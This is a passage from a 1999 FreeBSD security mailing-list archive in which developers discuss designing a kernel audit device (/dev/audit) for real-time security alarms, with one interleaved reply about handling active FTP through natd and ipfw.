MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: "Rodney W. Grimes" Cc: security@FreeBSD.ORG Subject: Re: Real-time alarms In-Reply-To: <199909200547.WAA57682@gndrsh.dnsmgr.net> References: <199909200547.WAA57682@gndrsh.dnsmgr.net> X-Mailer: VM 6.34 under 19.16 "Lille" XEmacs Lucid Reply-To: nate@mt.sri.com (Nate Williams) Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Rodney W. Grimes writes: > So lets get back on track and talk about how to implement a real time > auditing system in the kernel. Been there, doing that. Also, I spoke with Robert Watson earlier in the day, and we're going to see how easy it will be to 'merge' our work, since it appears we've been working on different thing. I'm calling him this week sometime and we'll chat about our existing implementation and see how we can work together instead of in paralle. on the same tasks. For now, I'm keeping the details offline, since there's still *lots* of things to do, and very little time to get something that works finished. I don't have time for everyone's pet feature, since I *have* to have something up and working before the end of the year (and that includes a user-land consumer -> proprietary conversion program done) for work. So, in summary, a working /dev/audit is in progress *right now* (I've got code and everything ;) and it *will* be finished before the first of the year since it's for Real Work (tm). My (SRI's) portion *ONLY* deals with the kernel, and does nothing with the userland. Robert has some great ideas as well as some code that could be used to generate audit records for userland code (login, su, etc...), but that's of lesser importance to my employer, so it's on my back-burner until the kernel stuff gets finished. Now, whether or not the FreeBSD Project decides to accept this work is another thing in itself, but my secondary goal (next to getting it done. :) is to attempt to build it in such a way that it will be acceptable to 'the powers that be'. I think we have a design that will eventually be accepted with a few iterations, which is beneficial to my employer as well as to FreeBSD. Finally, just to throw folks a bone, my *primary* design consideration for /dev/audit is speed. The original design contains *NO* filtering capability (all or nothing), and trades memory for speed, with the assumption that generating records is going to be fairly costly in terms of data copying into the 'audit record' in both the kernel and then again when the data is moved out to userland. Also, *EVERY* syscall is going to be audited, so as you can imagine there is going to be some overhead involved, and minimizing that overhead is a secondary goal. The first cut is based heavily on KTRACE (as a matter of fact, KTRACE is a pre-requisite). This may/may not be the version that ends up in FreeBSD, but it allowed to effect the least amount of files, as well as build upon an already existing and well-known capability in FreeBSD. Unfortunately, it's not completely adequate for the task, but it's goes a long way towards auditing the entire kernel. Nate To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Sep 19 23:29:37 1999 Delivered-To: freebsd-security@freebsd.org Received: from gndrsh.dnsmgr.net (GndRsh.dnsmgr.net [198.145.92.4]) by hub.freebsd.org (Postfix) with ESMTP id A045E14CAC for ; Sun, 19 Sep 1999 23:29:34 -0700 (PDT) (envelope-from freebsd@gndrsh.dnsmgr.net) Received: (from freebsd@localhost) by gndrsh.dnsmgr.net (8.9.3/8.9.3) id XAA57821; Sun, 19 Sep 1999 23:29:23 -0700 (PDT) (envelope-from freebsd) From: "Rodney W. Grimes" Message-Id: <199909200629.XAA57821@gndrsh.dnsmgr.net> Subject: Re: Real-time alarms In-Reply-To: from Jobe at "Sep 19, 1999 11:05:16 pm" To: jobe@attrition.org (Jobe) Date: Sun, 19 Sep 1999 23:29:23 -0700 (PDT) Cc: security@freebsd.org X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org [Back on list, this was sent to me privately, I think by mistake though] > > On Sun, 19 Sep 1999, Rodney W. Grimes wrote: > > > However, the implementation of an auditing system should be doable > > pretty easily in the current system and gain us some functionality > > that we do not have, and should not need to be changed drastically > > if or when per process/user privilege becomes a reality, other than > > it will probably take a privilege to access /dev/audit :-). > > > > So lets get back on track and talk about how to implement a real time > > auditing system in the kernel. Lets forget about any user land consumers > > of this interface, other than to design the interface in as secure manner > > as can be given the tools we have today. Lets forget about email and > > networks, and transports and all that stuff that we already know are > > not securable _at_ _this_ _time_, and get on with /dev/audit. > > I guess it that case we need to start discussing the events that need to > generate alarms. Slow down, your jumped from ``auditing'' to ``alarms'', as Nate points out in his mail there really is 2 levels of functionality here. The in kernel ``this is what I have done'' auditing mechansim, and the other side that does the filtering and decides what is and is not important. It's not that important where the 2 pieces live at this time, but it is important to decide up front that it is 2 pieces. Myself, I like the idea of how bpf handles the filtering side. Compile up an expression and shove it into the kernel so you minimize copy out operations. > Also we need to look at how in depth we want to go. In > addition, what are our goals here? What is it exactly that we want to be > notified of. Do we consider a single 'unprivilledged' account compromise > a breach of security? If so, how do you plan to go about auditing the > validity of logins. I think once a list of rogue events is created we can > start getting the ball rolling on this. I think it is silly to design the > system before we even know what we are trying to monitor. Once we derive > the events that will generate the alarms implementation of the alarming > system becomes easy. It seems to me that we're trying to bake a pie with > no filling here. I think your trying to set policy before we even have a method, though Nate and Robert Watson look to have a lot of the method work done. We need to go dig the differenet pieces before the group and look at what we have already implemented and come up with what we want for a method. Besides Nate and Roberts work there is jdp work for filesystem modification to look at as well. Basically in the VMS SYS$AUDIT world you could monitor just about everything, I don't think we should predefine a limiting set, it'll only get expanded over and over. We need to do some research and get as much public detail as is avaliable on as many auditing implementations as we can. Then write a book on what is out there, then implement something better... :-) :-) :-). We do atleast need to take a look around... -- Rod Grimes - KD7CAX - (RWG25) rgrimes@gndrsh.dnsmgr.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Sep 20 0: 7:22 1999 Delivered-To: freebsd-security@freebsd.org Received: from forced.attrition.org (attrition.org [198.77.217.13]) by hub.freebsd.org (Postfix) with ESMTP id B20D1153DD for ; Mon, 20 Sep 1999 00:07:18 -0700 (PDT) (envelope-from jobe@attrition.org) Received: from localhost (jobe@localhost) by forced.attrition.org (8.9.3/0.0.1.beta.nospam) with SMTP id AAA20744; Mon, 20 Sep 1999 00:11:07 -0600 Date: Mon, 20 Sep 1999 00:11:07 -0600 (MDT) From: Jobe To: "Rodney W. Grimes" Cc: security@FreeBSD.ORG Subject: Re: Real-time alarms In-Reply-To: <199909200629.XAA57821@gndrsh.dnsmgr.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sun, 19 Sep 1999, Rodney W. Grimes wrote: *snipped* > > I guess it that case we need to start discussing the events that need to > > generate alarms. > > Slow down, your jumped from ``auditing'' to ``alarms'', as Nate points out > in his mail there really is 2 levels of functionality here. The in kernel > ``this is what I have done'' auditing mechansim, and the other side that > does the filtering and decides what is and is not important. It's not > that important where the 2 pieces live at this time, but it is important > to decide up front that it is 2 pieces. > > Myself, I like the idea of how bpf handles the filtering side. Compile > up an expression and shove it into the kernel so you minimize copy out > operations. > > > Also we need to look at how in depth we want to go. In > > addition, what are our goals here? What is it exactly that we want to be > > notified of. Do we consider a single 'unprivilledged' account compromise > > a breach of security? If so, how do you plan to go about auditing the > > validity of logins. I think once a list of rogue events is created we can > > start getting the ball rolling on this. I think it is silly to design the > > system before we even know what we are trying to monitor. Once we derive > > the events that will generate the alarms implementation of the alarming > > system becomes easy. It seems to me that we're trying to bake a pie with > > no filling here. > > I think your trying to set policy before we even have a method, though Nate > and Robert Watson look to have a lot of the method work done. We need to > go dig the differenet pieces before the group and look at what we have > already implemented and come up with what we want for a method. Besides > Nate and Roberts work there is jdp work for filesystem modification to > look at as well. I think my references to userland scenarios threw us off the track. Basically what I was trying to get at is that we really need to know what 'events' (in kernel happenings) that we want to be aware of. Otherwise we will end up developing a method for generating alarms for kernel events when there are no given events to generate alarms for. Do you see what I'm trying to get at here? Or is our primary goal to just create the auditing system and let the user define the events for which alarms are generated? --Jobe > > Basically in the VMS SYS$AUDIT world you could monitor just about everything, > I don't think we should predefine a limiting set, it'll only get expanded > over and over. > > We need to do some research and get as much public detail as is avaliable > on as many auditing implementations as we can. Then write a book on what > is out there, then implement something better... :-) :-) :-). We do atleast > need to take a look around... > > -- > Rod Grimes - KD7CAX - (RWG25) rgrimes@gndrsh.dnsmgr.net > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Sep 20 0:18:37 1999 Delivered-To: freebsd-security@freebsd.org Received: from gndrsh.dnsmgr.net (GndRsh.dnsmgr.net [198.145.92.4]) by hub.freebsd.org (Postfix) with ESMTP id 63A5914D85 for ; Mon, 20 Sep 1999 00:18:32 -0700 (PDT) (envelope-from freebsd@gndrsh.dnsmgr.net) Received: (from freebsd@localhost) by gndrsh.dnsmgr.net (8.9.3/8.9.3) id AAA58050; Mon, 20 Sep 1999 00:18:28 -0700 (PDT) (envelope-from freebsd) From: "Rodney W. Grimes" Message-Id: <199909200718.AAA58050@gndrsh.dnsmgr.net> Subject: Re: Real-time alarms In-Reply-To: from Jobe at "Sep 20, 1999 00:11:07 am" To: jobe@attrition.org (Jobe) Date: Mon, 20 Sep 1999 00:18:27 -0700 (PDT) Cc: security@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > > > On Sun, 19 Sep 1999, Rodney W. Grimes wrote: > > *snipped* > > > I guess it that case we need to start discussing the events that need to > > > generate alarms. > > > > Slow down, your jumped from ``auditing'' to ``alarms'', as Nate points out > > in his mail there really is 2 levels of functionality here. The in kernel > > ``this is what I have done'' auditing mechansim, and the other side that > > does the filtering and decides what is and is not important. It's not > > that important where the 2 pieces live at this time, but it is important > > to decide up front that it is 2 pieces. > > > > Myself, I like the idea of how bpf handles the filtering side. Compile > > up an expression and shove it into the kernel so you minimize copy out > > operations. > > > > > Also we need to look at how in depth we want to go. In > > > addition, what are our goals here? What is it exactly that we want to be > > > notified of. Do we consider a single 'unprivilledged' account compromise > > > a breach of security? If so, how do you plan to go about auditing the > > > validity of logins. I think once a list of rogue events is created we can > > > start getting the ball rolling on this. I think it is silly to design the > > > system before we even know what we are trying to monitor. Once we derive > > > the events that will generate the alarms implementation of the alarming > > > system becomes easy. It seems to me that we're trying to bake a pie with > > > no filling here. > > > > I think your trying to set policy before we even have a method, though Nate > > and Robert Watson look to have a lot of the method work done. We need to > > go dig the differenet pieces before the group and look at what we have > > already implemented and come up with what we want for a method. Besides > > Nate and Roberts work there is jdp work for filesystem modification to > > look at as well. > > I think my references to userland scenarios threw us off the track. > Basically what I was trying to get at is that we really need to know what > 'events' (in kernel happenings) that we want to be aware of. Otherwise we > will end up developing a method for generating alarms for kernel events > when there are no given events to generate alarms for. Do you see what > I'm trying to get at here? Or is our primary goal to just create the > auditing system and let the user define the events for which alarms are > generated? I am trying to seperate ``method'' from ``policy''. The primary goal, IMHO, should be to create a method of getting events from the kernel that could be used to implement all sorts of security policies. So basically your last statement ``create the auditing system and let the user define the events'' is what I am after first. Then we can implement the tools that allow the user to define the events that create alarms or what have you. -- Rod Grimes - KD7CAX - (RWG25) rgrimes@gndrsh.dnsmgr.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Sep 20 2:59:24 1999 Delivered-To: freebsd-security@freebsd.org Received: from forced.attrition.org (attrition.org [198.77.217.13]) by hub.freebsd.org (Postfix) with ESMTP id 8114514D30 for ; Mon, 20 Sep 1999 02:59:15 -0700 (PDT) (envelope-from jobe@attrition.org) Received: from localhost (jobe@localhost) by forced.attrition.org (8.9.3/0.0.1.beta.nospam) with SMTP id DAA22697; Mon, 20 Sep 1999 03:03:07 -0600 Date: Mon, 20 Sep 1999 03:03:07 -0600 (MDT) From: Jobe To: "Rodney W. Grimes" Cc: security@FreeBSD.ORG Subject: Re: Real-time alarms In-Reply-To: <199909200718.AAA58050@gndrsh.dnsmgr.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, 20 Sep 1999, Rodney W. Grimes wrote: > > > > > > On Sun, 19 Sep 1999, Rodney W. Grimes wrote: > > > > *snipped* > > > > I guess it that case we need to start discussing the events that need to > > > > generate alarms. > > > > > > Slow down, your jumped from ``auditing'' to ``alarms'', as Nate points out > > > in his mail there really is 2 levels of functionality here. The in kernel > > > ``this is what I have done'' auditing mechansim, and the other side that > > > does the filtering and decides what is and is not important. It's not > > > that important where the 2 pieces live at this time, but it is important > > > to decide up front that it is 2 pieces. > > > > > > Myself, I like the idea of how bpf handles the filtering side. Compile > > > up an expression and shove it into the kernel so you minimize copy out > > > operations. > > > > > > > Also we need to look at how in depth we want to go. In > > > > addition, what are our goals here? What is it exactly that we want to be > > > > notified of. Do we consider a single 'unprivilledged' account compromise > > > > a breach of security? If so, how do you plan to go about auditing the > > > > validity of logins. I think once a list of rogue events is created we can > > > > start getting the ball rolling on this. I think it is silly to design the > > > > system before we even know what we are trying to monitor. Once we derive > > > > the events that will generate the alarms implementation of the alarming > > > > system becomes easy. It seems to me that we're trying to bake a pie with > > > > no filling here. > > > > > > I think your trying to set policy before we even have a method, though Nate > > > and Robert Watson look to have a lot of the method work done. We need to > > > go dig the differenet pieces before the group and look at what we have > > > already implemented and come up with what we want for a method. Besides > > > Nate and Roberts work there is jdp work for filesystem modification to > > > look at as well. > > > > I think my references to userland scenarios threw us off the track. > > Basically what I was trying to get at is that we really need to know what > > 'events' (in kernel happenings) that we want to be aware of. Otherwise we > > will end up developing a method for generating alarms for kernel events > > when there are no given events to generate alarms for. Do you see what > > I'm trying to get at here? Or is our primary goal to just create the > > auditing system and let the user define the events for which alarms are > > generated? > > I am trying to seperate ``method'' from ``policy''. The primary goal, IMHO, > should be to create a method of getting events from the kernel that could be > used to implement all sorts of security policies. So basically your last > statement ``create the auditing system and let the user define the events'' > is what I am after first. Then we can implement the tools that allow > the user to define the events that create alarms or what have you. Why not just have something that uses SYS_write() to write to a file possibly /dev/audit? Just have a create_alert(const char *fmt, ...) function (with accompanying va_args code) and just ship the data via SYS_write() directly to the device. Of course we'd still need to implement a method in the kernel to prevent lkms from wrapping our SYS_write(). Do we really want anyone to be able wrap SYS_write(), or many of the other syscalls, anyways? We'd also make the device appending only, etc, etc. Am I missing something again? --Jobe > > -- > Rod Grimes - KD7CAX - (RWG25) rgrimes@gndrsh.dnsmgr.net > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Sep 20 3:23:45 1999 Delivered-To: freebsd-security@freebsd.org Received: from eltex.ru (ELTEX-2-SPIIRAS.nw.ru [195.19.204.46]) by hub.freebsd.org (Postfix) with ESMTP id 1B9FB14F0C for ; Mon, 20 Sep 1999 03:23:34 -0700 (PDT) (envelope-from ark@eltex.ru) Received: from yaksha.eltex.ru (root@yaksha.eltex.ru [195.19.198.2]) by eltex.ru (8.9.3/8.9.3) with SMTP id OAA18604 for ; Mon, 20 Sep 1999 14:23:19 +0400 (MSD) Received: by yaksha.eltex.ru (ssmtp TIS-0.5alpha, 19 Oct 1998); Mon, 20 Sep 1999 14:21:05 +0400 Received: from undisclosed-intranet-sender id xma026255; Mon, 20 Sep 99 14:20:56 +0400 Date: Mon, 20 Sep 1999 14:21:17 +0400 Message-Id: <199909201021.OAA00729@paranoid.eltex.spb.ru> From: ark@eltex.ru Organization: "Klingon Imperial Intelligence Service" Subject: Re: Real-time alarms To: security@freebsd.org Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org -----BEGIN PGP SIGNED MESSAGE----- nuqneH, Hmmm, i think it is a good idea to have 2 kernel interfaces: 1) audit - one way communication system that lets kernel and possibly some user processes to inform an audit daemon or whatever that something important happened 2) acl device that will provide 2-way communication to a daemon that will allow or deny things to happen? there were some implementations of (2) thing afair.. _ _ _ _ _ _ _ {::} {::} {::} CU in Hell _| o |_ | | _|| | / _||_| |_ |_ |_ (##) (##) (##) /Arkan#iD |_ o _||_| _||_| / _| | o |_||_||_| [||] [||] [||] Do i believe in Bible? Hell,man,i've seen one! -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: noconv iQCVAwUBN+YKnKH/mIJW9LeBAQFnzgP8DoWt1+esoPDq6qjHVOzGgZVjDSMfNUGF oAeM5QeNgrKuaWKhTVuihR5CJ1Vfaru8QBgKZQMNEzYY83kLBYCAxqP3tBEmzdCx hjpy4/Ul3q9zvSsHtlnHjZ8DVVSy/VLZS5zR3Foy8WI4FaetmJ77NesKyOYDVzPp IB1N8WEC7lY= =h8Xh -----END PGP SIGNATURE----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Sep 20 7:20: 9 1999 Delivered-To: freebsd-security@freebsd.org Received: from gndrsh.dnsmgr.net (GndRsh.dnsmgr.net [198.145.92.4]) by hub.freebsd.org (Postfix) with ESMTP id 9D1A0150AC for ; Mon, 20 Sep 1999 07:20:04 -0700 (PDT) (envelope-from freebsd@gndrsh.dnsmgr.net) Received: (from freebsd@localhost) by gndrsh.dnsmgr.net (8.9.3/8.9.3) id HAA58893; Mon, 20 Sep 1999 07:16:27 -0700 (PDT) (envelope-from freebsd) From: "Rodney W. Grimes" Message-Id: <199909201416.HAA58893@gndrsh.dnsmgr.net> Subject: Re: Real-time alarms In-Reply-To: <199909201021.OAA00729@paranoid.eltex.spb.ru> from "ark@eltex.ru" at "Sep 20, 1999 02:21:17 pm" To: ark@eltex.ru Date: Mon, 20 Sep 1999 07:16:26 -0700 (PDT) Cc: security@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > > Hmmm, i think it is a good idea to have 2 kernel interfaces: > > 1) audit - one way communication system that lets kernel and possibly > some user processes to inform an audit daemon or whatever that something > important happened By definision a secure audit trail can only be generated by a secure code base, that pretty much precludes any user processes from being a source of data at this time. > 2) acl device that will provide 2-way communication to a daemon that will > allow or deny things to happen? This is no longer auditing, that would be under another thread, one about security control, and goes hand in hand with the proposal I tossed out about VMS like per process priviledges. -- Rod Grimes - KD7CAX - (RWG25) rgrimes@gndrsh.dnsmgr.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Sep 20 7:26:51 1999 Delivered-To: freebsd-security@freebsd.org Received: from gndrsh.dnsmgr.net (GndRsh.dnsmgr.net [198.145.92.4]) by hub.freebsd.org (Postfix) with ESMTP id A9C8115229 for ; Mon, 20 Sep 1999 07:26:38 -0700 (PDT) (envelope-from freebsd@gndrsh.dnsmgr.net) Received: (from freebsd@localhost) by gndrsh.dnsmgr.net (8.9.3/8.9.3) id HAA58947; Mon, 20 Sep 1999 07:26:34 -0700 (PDT) (envelope-from freebsd) From: "Rodney W. Grimes" Message-Id: <199909201426.HAA58947@gndrsh.dnsmgr.net> Subject: Re: Real-time alarms In-Reply-To: from Jobe at "Sep 20, 1999 03:03:07 am" To: jobe@attrition.org (Jobe) Date: Mon, 20 Sep 1999 07:26:33 -0700 (PDT) Cc: security@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org [Snip] > > > I think my references to userland scenarios threw us off the track. > > > Basically what I was trying to get at is that we really need to know what > > > 'events' (in kernel happenings) that we want to be aware of. Otherwise we > > > will end up developing a method for generating alarms for kernel events > > > when there are no given events to generate alarms for. Do you see what > > > I'm trying to get at here? Or is our primary goal to just create the > > > auditing system and let the user define the events for which alarms are > > > generated? > > > > I am trying to seperate ``method'' from ``policy''. The primary goal, IMHO, > > should be to create a method of getting events from the kernel that could be > > used to implement all sorts of security policies. So basically your last > > statement ``create the auditing system and let the user define the events'' > > is what I am after first. Then we can implement the tools that allow > > the user to define the events that create alarms or what have you. > > Why not just have something that uses SYS_write() to write to a file possibly > /dev/audit? Just have a create_alert(const char *fmt, ...) function > (with accompanying va_args code) and just ship the data via SYS_write() > directly to the device. Of course we'd still need to implement a method > in the kernel to prevent lkms from wrapping our SYS_write(). Do we really > want anyone to be able wrap SYS_write(), or many of the other syscalls, > anyways? We'd also make the device appending only, etc, etc. Am I missing > something again? Your missing the fact that SYS_write is a system call from userland into the kernel. The data flow of /dev/audit is the other way. Try something more like /dev/audit is a kernel psuedo device implemented more like /dev/klog or a socket implemented more like route(4). And by thier nature these they are append only devices... And you can't implement any protection from wrapping, lkm or kld's, thats impossible with the current security model that would need changed with the creation of a secure code base, implementation of per process privileges, etc. That should be deligated to another larger project that can be developed pre, concurrent, or post auditing system creation. Think KISS really hard! -- Rod Grimes - KD7CAX - (RWG25) rgrimes@gndrsh.dnsmgr.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Sep 20 7:27:47 1999 Delivered-To: freebsd-security@freebsd.org Received: from eltex.ru (ELTEX-2-SPIIRAS.nw.ru [195.19.204.46]) by hub.freebsd.org (Postfix) with ESMTP id 941A4152A0 for ; Mon, 20 Sep 1999 07:26:25 -0700 (PDT) (envelope-from ark@eltex.ru) Received: from yaksha.eltex.ru (root@yaksha.eltex.ru [195.19.198.2]) by eltex.ru (8.9.3/8.9.3) with SMTP id SAA20307; Mon, 20 Sep 1999 18:26:01 +0400 (MSD) Received: by yaksha.eltex.ru (ssmtp TIS-0.5alpha, 19 Oct 1998); Mon, 20 Sep 1999 18:23:45 +0400 Received: from undisclosed-intranet-sender id xma020649; Mon, 20 Sep 99 18:23:40 +0400 Date: Mon, 20 Sep 1999 18:24:01 +0400 Message-Id: <199909201424.SAA01652@paranoid.eltex.spb.ru> In-Reply-To: <199909201416.HAA58893@gndrsh.dnsmgr.net> from ""Rodney W. Grimes" " From: ark@eltex.ru Organization: "Klingon Imperial Intelligence Service" Subject: Re: Real-time alarms To: freebsd@gndrsh.dnsmgr.net Cc: security@FreeBSD.ORG Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org -----BEGIN PGP SIGNED MESSAGE----- nuqneH, "Rodney W. Grimes" said : > > > > Hmmm, i think it is a good idea to have 2 kernel interfaces: > > > > 1) audit - one way communication system that lets kernel and possibly > > some user processes to inform an audit daemon or whatever that something > > important happened > > By definision a secure audit trail can only be generated by a secure > code base, that pretty much precludes any user processes from being > a source of data at this time. What about "2-in-one" interface that could be accessed from kernel and from userspace but provides functions that will let audit daemon to know the difference? That can make things more flexible. _ _ _ _ _ _ _ {::} {::} {::} CU in Hell _| o |_ | | _|| | / _||_| |_ |_ |_ (##) (##) (##) /Arkan#iD |_ o _||_| _||_| / _| | o |_||_||_| [||] [||] [||] Do i believe in Bible? Hell,man,i've seen one! -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: noconv iQCVAwUBN+ZDf6H/mIJW9LeBAQHvaAP+I3fW7+kp8v1f61zqsTl84FhwcBsXLKId lNtbbIrhyZ+h96kxY1z+p1QVUuSAU5vNzgC5hLhRKkWO+dsWpAOvrb4Q02kyopM5 SFWTEY101GlOr+tmu7skr4Q3wfbaKdfOnbp8gOgzD81nH40LwjiZ5xrqwAkkNYy1 o015vJL0tyM= =FHf+ -----END PGP SIGNATURE----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Sep 20 7:27:50 1999 Delivered-To: freebsd-security@freebsd.org Received: from ns1.yes.no (ns1.yes.no [195.204.136.10]) by hub.freebsd.org (Postfix) with ESMTP id E3849151EA for ; Mon, 20 Sep 1999 07:27:44 -0700 (PDT) (envelope-from eivind@bitbox.follo.net) Received: from bitbox.follo.net (bitbox.follo.net [195.204.143.218]) by ns1.yes.no (8.9.3/8.9.3) with ESMTP id QAA06670; Mon, 20 Sep 1999 16:27:42 +0200 (CEST) Received: (from eivind@localhost) by bitbox.follo.net (8.8.8/8.8.6) id QAA39996; Mon, 20 Sep 1999 16:27:42 +0200 (MET DST) Date: Mon, 20 Sep 1999 16:27:42 +0200 From: Eivind Eklund To: Brett Glass Cc: security@FreeBSD.ORG Subject: Re: Best way to do FTP with NAT and firewall? Message-ID: <19990920162742.A12619@bitbox.follo.net> References: <4.2.0.58.19990917090848.04e582e0@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.1i In-Reply-To: <4.2.0.58.19990917090848.04e582e0@localhost>; from Brett Glass on Fri, Sep 17, 1999 at 09:16:11AM -0600 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri, Sep 17, 1999 at 09:16:11AM -0600, Brett Glass wrote: > I've just set up a firewall for a client using ipfw and natd. Trouble is, his software seems to be particularly insistent on doing active, rather than passive, FTP. This poses a problem, of course, because a remote system can't open just data sockets to one behind the firewall due to NAT. > > I've worked with plenty of commercial firewalls that monitor FTP control connections and spoof the port number for the data sockets. SLiRP does it; so, apparently, does the pppd that comes with FreeBSD. But I can't find any documented way to do it with ipfw and natd. > > Are there undocumented commands to accomplish this? Using the hooks I added to libalias to accomplish this. That would, however, require some small mods to the natd code (about 20-50 lines, I guess). These punch fully specified holes for active FTP and IRC DCC connections, using a range of IPFW rule number designated by the caller. "Fully specified" in this context means with specified source address, destination address, source port and destination port. These time out the same way as usual, and should not pose any risk. Eivind. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Sep 20 7:37: 3 1999 Delivered-To: freebsd-security@freebsd.org Received: from gndrsh.dnsmgr.net (GndRsh.dnsmgr.net [198.145.92.4]) by hub.freebsd.org (Postfix) with ESMTP id A14E315B08 for ; Mon, 20 Sep 1999 07:36:59 -0700 (PDT) (envelope-from freebsd@gndrsh.dnsmgr.net) Received: (from freebsd@localhost) by gndrsh.dnsmgr.net (8.9.3/8.9.3) id HAA58981; Mon, 20 Sep 1999 07:36:38 -0700 (PDT) (envelope-from freebsd) From: "Rodney W. Grimes" Message-Id: <199909201436.HAA58981@gndrsh.dnsmgr.net> Subject: Re: Real-time alarms In-Reply-To: <199909201424.SAA01652@paranoid.eltex.spb.ru> from "ark@eltex.ru" at "Sep 20, 1999 06:24:01 pm" To: ark@eltex.ru Date: Mon, 20 Sep 1999 07:36:38 -0700 (PDT) Cc: security@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org -- Start of PGP signed section. > nuqneH, > > "Rodney W. Grimes" said : > > > > > > > Hmmm, i think it is a good idea to have 2 kernel interfaces: > > > > > > 1) audit - one way communication system that lets kernel and possibly > > > some user processes to inform an audit daemon or whatever that something > > > important happened > > > > By definision a secure audit trail can only be generated by a secure > > code base, that pretty much precludes any user processes from being > > a source of data at this time. > > What about "2-in-one" interface that could be accessed from kernel and > from userspace but provides functions that will let audit daemon to > know the difference? That can make things more flexible. First the kernel does not access the daemon, the daemon accesses the kernel. Second, nothing should preclude the daemon from accessing anything else it wishes to, but trusting anything else would be dangerous. Third flexiability and security don't go well togeather. The daemon clearly would know the difference about what it opened, so that is a not an issue. If we write an ``audit protocol'' it could be spoken over any socket, so that is probably a good flexiable approach. -- Rod Grimes - KD7CAX - (RWG25) rgrimes@gndrsh.dnsmgr.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Sep 20 7:49: 0 1999 Delivered-To: freebsd-security@freebsd.org Received: from forced.attrition.org (attrition.org [198.77.217.13]) by hub.freebsd.org (Postfix) with ESMTP id C111114CC7 for ; Mon, 20 Sep 1999 07:48:57 -0700 (PDT) (envelope-from jobe@attrition.org) Received: from localhost (jobe@localhost) by forced.attrition.org (8.9.3/0.0.1.beta.nospam) with SMTP id HAA26918; Mon, 20 Sep 1999 07:42:30 -0600 Date: Mon, 20 Sep 1999 07:42:30 -0600 (MDT) From: Jobe To: ark@eltex.ru Cc: freebsd@gndrsh.dnsmgr.net, security@FreeBSD.ORG Subject: Re: Real-time alarms In-Reply-To: <199909201424.SAA01652@paranoid.eltex.spb.ru> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, 20 Sep 1999 ark@eltex.ru wrote: > -----BEGIN PGP SIGNED MESSAGE----- > > nuqneH, > > "Rodney W. Grimes" said : > > > > > > > Hmmm, i think it is a good idea to have 2 kernel interfaces: > > > > > > 1) audit - one way communication system that lets kernel and possibly > > > some user processes to inform an audit daemon or whatever that something > > > important happened > > > > By definision a secure audit trail can only be generated by a secure > > code base, that pretty much precludes any user processes from being > > a source of data at this time. > > What about "2-in-one" interface that could be accessed from kernel and > from userspace but provides functions that will let audit daemon to > know the difference? That can make things more flexible. Check his reply to my post, this is the general nature of a pseudo device =). BTW Rob, I should have a working code base for the pseudo device by the end of the day if you want to take a look. At that point we can figure out whether or not we not to do things differently. --Jobe To Unsubscribe: send mail to 